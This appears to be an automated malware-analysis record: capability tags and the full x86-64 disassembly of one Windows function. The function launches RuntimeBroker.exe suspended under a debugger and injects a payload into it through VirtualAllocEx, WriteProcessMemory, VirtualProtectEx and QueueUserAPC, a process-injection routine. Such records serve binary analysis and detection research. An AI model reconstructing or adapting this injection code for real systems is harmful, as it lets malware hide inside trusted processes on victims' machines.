Function at 0x1400015d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Inject apc
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x350]
sub rsp, 0x450
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x340], rax
xor esi, esi
lea r8, [rbp - 0x68]
lea rdx, [rbp - 0x60]
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x60], rsi
call fcn.1400010d0
test eax, eax
je 0x14000187c
mov rdi, qword [rbp - 0x60]
test rdi, rdi
je 0x14000187c
mov rax, qword [rbp - 0x68]
test eax, eax
je 0x14000187c
mov dword [rsp + 0x68], eax
lea rcx, [rsp + 0x50]
lea rax, [0x140005038]
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x70], rax
lea rax, [0x140005058]
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x58], esi
mov qword [rsp + 0x60], rdi
call fcn.1400012e0
test eax, eax
je 0x14000187c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
xorps xmm0, xmm0
lea rdi, [rbp - 0x50]
xor eax, eax
lea rdx, [rbp + 0x20]
movups xmmword [rbp - 0x4c], xmm0
mov dword [rbp + 0x14], eax
mov ecx, 0x68
movups xmmword [rbp - 0x3c], xmm0
mov qword [rbp - 0x70], rax
mov r8d, 0x104
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
rep stosb byte [rdi], al
movups xmmword [rbp - 0x80], xmm0
lea rdi, [rbp - 0x80]
mov dword [rbp - 0x50], 0x68
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, str.WINDIR
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x1400016f3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____GetEnvironmentVariableA_Failed_With_Error_:__d__n
jmp 0x140001875
lea r9, str.RuntimeBroker.exe
lea r8, [rbp + 0x20]
lea rdx, str._sSystem32_s
lea rcx, [rbp + 0x130]
call fcn.140001070
lea rax, [rbp - 0x80]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x130]
lea rax, [rbp - 0x50]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001764
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____CreateProcessA_Failed_with_Error_:__d__n
jmp 0x140001875
mov r15d, dword [rbp - 0x70]
mov rdi, qword [rbp - 0x80]
mov r14, qword [rbp - 0x78]
test r15d, r15d
je 0x14000187c
test rdi, rdi
je 0x14000187c
test r14, r14
je 0x14000187c
mov ebx, dword [rsp + 0x58]
mov r9d, 0x3000
mov r8d, ebx
mov qword [rbp - 0x68], rsi
xor edx, edx
mov dword [rbp - 0x60], esi
mov rcx, rdi
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x1400017cc
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._n_t____VirtualAllocEx_Failed_With_Error_:__d__n
jmp 0x140001875
mov r8, qword [rsp + 0x50]
lea rax, [rbp - 0x68]
mov r9, rbx
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001868
cmp qword [rbp - 0x68], rbx
jne 0x140001868
lea rax, [rbp - 0x60]
mov r9d, 0x40
mov r8, rbx
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x140001824
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._n_t____VirtualProtectEx_Failed_With_Error_:__d__n
jmp 0x140001875
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x50]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140001881
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._n_t____WriteProcessMemory_Failed_With_Error_:__d__n
mov edx, eax
call fcn.140001010
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x340]
xor rcx, rsp
call fcn.1400018c0
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret